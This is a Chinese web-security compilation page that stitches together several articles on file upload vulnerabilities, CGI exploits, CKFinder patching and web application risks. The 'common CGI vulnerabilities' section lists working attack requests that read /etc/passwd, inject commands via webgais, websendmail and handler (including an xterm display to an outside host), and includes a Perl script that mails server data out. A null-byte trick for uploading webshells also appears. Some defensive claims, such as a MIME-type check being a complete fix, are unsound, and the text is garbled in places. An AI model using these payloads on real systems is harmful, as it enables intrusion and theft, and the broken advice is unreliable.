02 if (isset($_POST['Upload'])) {03 04 $target_path = DVWA_WEB_PAGE_TO_ROOT.“hackable/uploads/”;05 $target_path = $target_path . basename($_FILES['uploaded']['name']);06 $uploaded_name = $_FILES['uploaded']['name'];07 $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);08 $uploaded_size = $_FILES['uploaded']['size'];09 10 if (($uploaded_ext == “jpg” || $uploaded_ext == “JPG” || $uploaded_ext == “jpeg” || $uploaded_ext == “JPEG”) && ($uploaded_size < 100000)){11 12 13 if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {14 15 echo ' 16 echo 'Your image was not uploaded.';17 echo '';18 19 } else {20 21 echo ' 22 echo $target_path . ' succesfully uploaded!';23 echo '';24 25 }26 }27 28 else{29 30 echo ' 31 echo 'Your image was not uploaded.';32 echo '';33 }34 }35 36 ?> 安全的图片验证类型可以这样写$uploaded_ext == ”jpg” || $uploaded_ext == ”JPG” || $uploaded_ext == ”jpeg” || $uploaded_ext == ”JPEG”),呵呵,也不难是吧,其实有些事情就这么简单,只是我们不知道而已。 篇2:网站常见漏洞 文件上传漏洞漏洞预警任意文件上传漏洞 文件上传漏洞(File Upload Attack)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本, 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件。 下面是一个简单的文件上传表单
php的配置文件php.ini,其中选项upload_max_filesize指定允许上传的文件大小,默认是2M $_FILES数组变量 PHP使用变量$_FILES来上传文件,$_FILES是一个数组。 如果上传test.txt,那么$_FILES数组的内容为: $FILES Array { [file] => Array { [name] => test.txt //文件名称 [type] => text/plain //MIME类型 [tmp_name] => /tmp/php5D.tmp //临时文件 [error] => 0 //错误信息 [size] => 536 //文件大小,单位字节 } } 如果上传文件按钮的name属性值为file
那么使用$_FILES['file']['name']来获得客户端上传文件名称,不包含路径。使用$_FILES['file']['tmp_name']来获得服务端保存上传文件的临时文件路径 存放上传文件的文件夹 PHP不会直接将上传文件放到网站根目录中,而是保存为一个临时文件,名称就是$_FILES['file']['tmp_name']的值,开发者必须把这个临时文件复制到存放的网站文件夹中。 $_FILES['file']['tmp_name']的值是由PHP设置的,与文件原始名称不一样,开发者必须使用$_FILES['file']['name']来取得上传文件的原始名称。 上传文件时的错误信息 $_FILES['file']['error']变量用来保存上传文件时的错误信息,它的值如下: 文件上传漏洞 如果提供给网站访问者上传图片的功能,那必须小心访问者上传的实际可能不是图片,而是可以指定的PHP程序。如果存放图片的目录是一个开放的文件夹,则入侵者就可以远程执行上传的PHP文件来进行攻击。 下面是一个简单的文件上传例子: // 设置上传文件的目录 $uploaddir = “D:/www/images/”; // 检查file是否存在 if (isset($_FILES['file1'])) { // 要放在网站目录中的完整路径,包含文件名 $uploadfile = $uploaddir . $_FILES['file1']['name']; // 将服务器存放的路径,移动到真实文件名 move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile); } ?> ……
这个例子没有检验文件后缀,可以上传任意文件,很明显的上传漏洞, 利用此漏洞 克制自由上床任意的木马文件而导致网站失陷。 漏洞防护措施 解决上面所述问题的一种方法是通过检查上传文件的类型来限制用户的文件上传,如以下代码所示。 if(isset($_POST[“form”])) { if($_FILES['upfile']['type'] == 'image/pjpeg') //检查文件类型是否为JPEG { $uploadfile = “upfiles/”.$_FILES['upfile']['name']; //上传后文件所在的文件名和路径 move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile); //上传文件 print_r($_FILES); die; } else { die(“上传文件的格式不正确!”); } } ?> 上面的代码要求用户上传的文件必须是JPEG类型的图片文件,彻底地避免了终端用户通过上传PHP脚本危害服务器的行为。 文件上传路径变量过滤不严 在许多论坛的用户发帖页面中存在这样的上传Form,如图7-27所示,其网页编程代码为: “
” 在其中“filepath”是文件上传路径,由于网页编写者未对该变量进行任何过滤,因此用户可以任意修改该变量值。在网页编程语言中有一个特殊的截止符“\0”,该符号的作用是通知网页服务器中止后面的数据接收。利用该截止符可们可以重新构造filepath,例如正常的上传路径是: “www.***.com/bbs/uploadface/09240824.jpg”, 但是当我们使用“\0”构造filepath为 “www.***.com/newmm.asp\0/200409240824.jpg ” 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0后理解为filepath的数据就止结束了,这样我们上传的文件就被保存成了:“www.***.com/newmm.asp”。 利用这个上传漏洞就可以任意上传如.ASP的网页木马,然后连接上传的网页即可控制该网站系统。 提示:可能有读者会想,如果网页服务器在检测验证上传文件的格式时,碰到“/0”就截止,那么不就出现文件上传类型不符的错误了吗?其实在检测验证上传文件的格式时,系统是从filepath的右边向左边读取数据的,因此它首先检测到的是“.jpg”,当然就不会报错了。 最安全的防范办法就是删除上传页面 篇3:常见27个CGI漏洞攻击方法一.phf漏洞 这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示/etc/passwd: lynx www.victim.com/cgi-bin/phf?Q...t%20/etc/passwd 但是我们还能找到它吗? 二.php.cgi 2.0beta10或更早版本的漏洞 可以读nobody权限的所有文件. lynx www.victim.com/cgi-bin/php.cgi?/etc/passwdphp.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在/etc/master.passwd /etc/security/passwd等. 三.whois_raw.cgi lynx www.victim.com/cgi-bin/whois...t%20/etc/passwd lynx www.victim.com/cgi-bin/whois...ella.lame.org:0 四.faxsurvey lynx www.victim.com/cgi-bin/faxsu...t%20/etc/passwd 五.textcounter.pl 如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令. #!/usr/bin/perl $URL='dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this $EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this if ($ARGV[0]) { $CMD=$ARGV[0];}else{ $CMD=“(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one”; }$text=“${URL}/;IFS=\8;${CMD};echo|”;$text =~ s/ /\$\{IFS\}/g;#print “$text\n”; system({“wget”} “wget”, $text, “-O/dev/null”); system({“wget”} “wget”, $text, “-O/dev/null”); #system({“lynx”} “lynx”, $text); #如果没有wget命令也可以用lynx #system({“lynx”} “lynx”, $text); 六.一些版本(1.1)的info2www的漏洞 $ REQUEST_METHOD=GET ./info2www ' (../../../../../../../bin/mail jami $ You have new mail. $ 说实在我不太明白. 七.pfdispaly.cgi lynx -source \ 'www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd' pfdisplay.cgi还有另外一个漏洞可以执行命令 lynx -dump www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' or lynx -dump \ victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' 八.wrap lynx www.victim.com/cgi-bin/wrap?/../../../../../etc 九.www-sql 可以让你读一些受限制的页面如: 在你的浏览器里输入:your.server/protected/something.html: 被要求输入帐号和口令.而有www-sql就不必了: your.server/cgi-bin/www-sql/...something.html: 十.view-source lynx www.victim.com/cgi-bin/view-..../../etc/passwd 十一.campas lynx www.victim.com/cgi-bin/campa...a/etc/passwd%0a 十二.webgais telnet www.victim.com 80 POST /cgi-bin/webgais HTTP/1.0 Content-length: 85 (replace this with the actual length of the “exploit”line) query=';mail+drazvan\@pop3.kappa.ro echo'&output=subject&domain=paragraph 十三.websendmail telnet www.victim.com 80 POST /cgi-bin/websendmail HTTP/1.0 Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90) receiver=;mail+your_address\@somewhere.org 十四.handler telnet www.victim.com 80 GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0 or GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download or GET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/sh|?data=Download 注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命令. 十五.test-cgi lynx www.victim.com/cgi-bin/test-cgi?\whatever CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = victim.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = 得到一些http的目录 lynx www.victim.com/cgi-bin/test-...t%20/etc/passwd 这招好象并不管用. lynx www.victim.com/cgi-bin/nph-test-cgi?/* 还可以这样试 GET /cgi-bin/test-cgi?* HTTP/1.0 GET&n 篇4:修补CKFinder编辑器文件解析漏洞WEB安全这种漏洞满天下都是 当然我们用的一个程序也不例外 顺便表示我是php文盲 人都是逼出来的啊~ 我们需要做的是将重命名目录 重命名文件 建立目录都注释掉 很简单 看看代码就知道了 所有的函数都是抓包获取的 然后去文件中找 注释掉 下面我给出大家 当然目录不一定就是这个路径 大家可以按照实际情况去寻找文件 0x1 注释掉创建目录 ckfinder\core\connector\php\php4\CommandHandler\CreateFolder.php ckfinder\core\connector\php\php5\CommandHandler\CreateFolder.php /*禁止创建新文件夹 $sNewFolderName = isset($_GET[“NewFolderName”]) ? $_GET[“NewFolderName”] : “”; $sNewFolderName = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($sNewFolderName); if ($_config->forceAscii) { $sNewFolderName = CKFinder_Connector_Utils_FileSystem::convertToAscii($sNewFolderName); } if (!CKFinder_Connector_Utils_FileSystem::checkFileName($sNewFolderName) || $_resourceTypeConfig- >checkIsHiddenFolder($sNewFolderName)) { $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME); } */ 0x2注释掉重命名文件 ckfinder\core\connector\php\php4\CommandHandler\RenameFile.php ckfinder\core\connector\php\php5\CommandHandler\RenameFile.php /*禁止重命名文件 } if (!isset($_GET[“newFileName”])) { $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME); } */ 0x3注释掉重命名目录 ckfinder\core\connector\php\php4\CommandHandler\RenameFolder.php ckfinder\core\connector\php\php5\CommandHandler\RenameFolder.php /*禁止重命名文件夹 if (!isset($_GET[“NewFolderName”])) { $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME); } $newFolderName = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($_GET[“NewFolderName”]); $_config =& CKFinder_Connector_Core_Factory::getInstance(“Core_Config”); if ($_config->forceAscii()) { $newFolderName = CKFinder_Connector_Utils_FileSystem::convertToAscii($newFolderName); } $resourceTypeInfo = $this->_currentFolder->getResourceTypeConfig(); if (!CKFinder_Connector_Utils_FileSystem::checkFileName($newFolderName) || $resourceTypeInfo->checkIsHiddenFolder($newFolderName)) { $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME); } */ 篇5:如何解决Web应用系统中的常见漏洞在Web技术飞速演变、电子商务蓬勃发展的今天,企业开发的很多新应用程序都是Web应用程序,而且Web服务也被越来越频繁地用于集成Web应用程序或与其进行交互,这些趋势带来的问题就是:Web应用程序和服务的增长已超越了程序开发人员所接受的安全培训和安全意识的范围,web应用系统的安全风险达到了前所未有的高度。本文详细剖析了Web应用中的常见漏洞及攻击方式,全面分析web应用系统的安全风险。 Web应用系统是由操作系统和web应用程序组成的。许多程序员不知道如何开发安全的应用程序,他们没有经过安全编码的培训。他们的经验也许是开发独立应用程序或企业 Web应用程序,这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。 Web应用的大多数安全问题都属于下面三种类型之一 : ◆服务器向公众提供了不应该提供的服务,导致存在安全隐患。 ◆服务器把本应私有的数据放到了公开访问的区域,导致敏感信息泄露。 ◆服务器信赖了来自不可信赖数据源的数据,导致受到攻击。 许多web服务器管理员从来没有从另一个角度来看看他们的服务器,没有对服务器的安全风险进行检查,例如使用端口扫描程序进行系统风险分析等, 如果他们曾经这样做了,就不会在自己的系统上运行那么多的服务,而这些服务原本无需在正式提供Web服务的机器上运行,或者这些服务原本无需面向公众开放。另外他们没有修改对外提供服务的应用程序的banner信息,使攻击者容易获取到Web服务器对外提供应用程序的相关版本信息,并根据信息找到相对应的攻击方法和攻击程序。 许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接绕过了周边防火墙安全措施,因为端口80或 443(SSL,安全套接字协议层)必须开放,以便让应用程序正常运行。Web应用安全存在非法输入、失效的访问控制、失效的账户和线程管理、跨站脚本攻击、缓冲区溢出、注射攻击、异常错误处理、不安全的存储、拒绝服务攻击、不安全的配置管理等问题。Web应用程序攻击包括对应用程序本身的DoS(拒绝服务)攻击、改变网页内容、SQL注入、上传Webshell以及获取对web服务的控制权限等。 总之,Web应用攻击之所以与其他攻击不同,是因为它们很难被发现,而且可能来自任何在线用户,甚至是经过验证的用户。Web应用攻击能绕过防火墙和入侵检测产品的防护,企业用户无法发现存在的web安全问题。当然企业可以购买诚信网安团队的web应用渗透评估的服务来对web应用安全进行检查。诚信网安提供专业的web渗透评估安全服务,全面分析web应用的脆弱点,并提供相应的解决方案。 ★PHPMySMS远程文件包含漏洞 ★通过nginx配置文件抵御攻击WEB安全 ★常见多音字(六) ★xheditor编辑器upload.php畸形文件上传漏洞漏洞预警 ★常见生僻字词(六) ★常见多音多义字(六) ★高考常见多音字(六) ★常见易读错字(六) ★常见熟语集锦(六) ★Pulse CMS Basic 本地文件包含漏洞及修复
《web常见攻击六――文件上传漏洞(精选5篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
|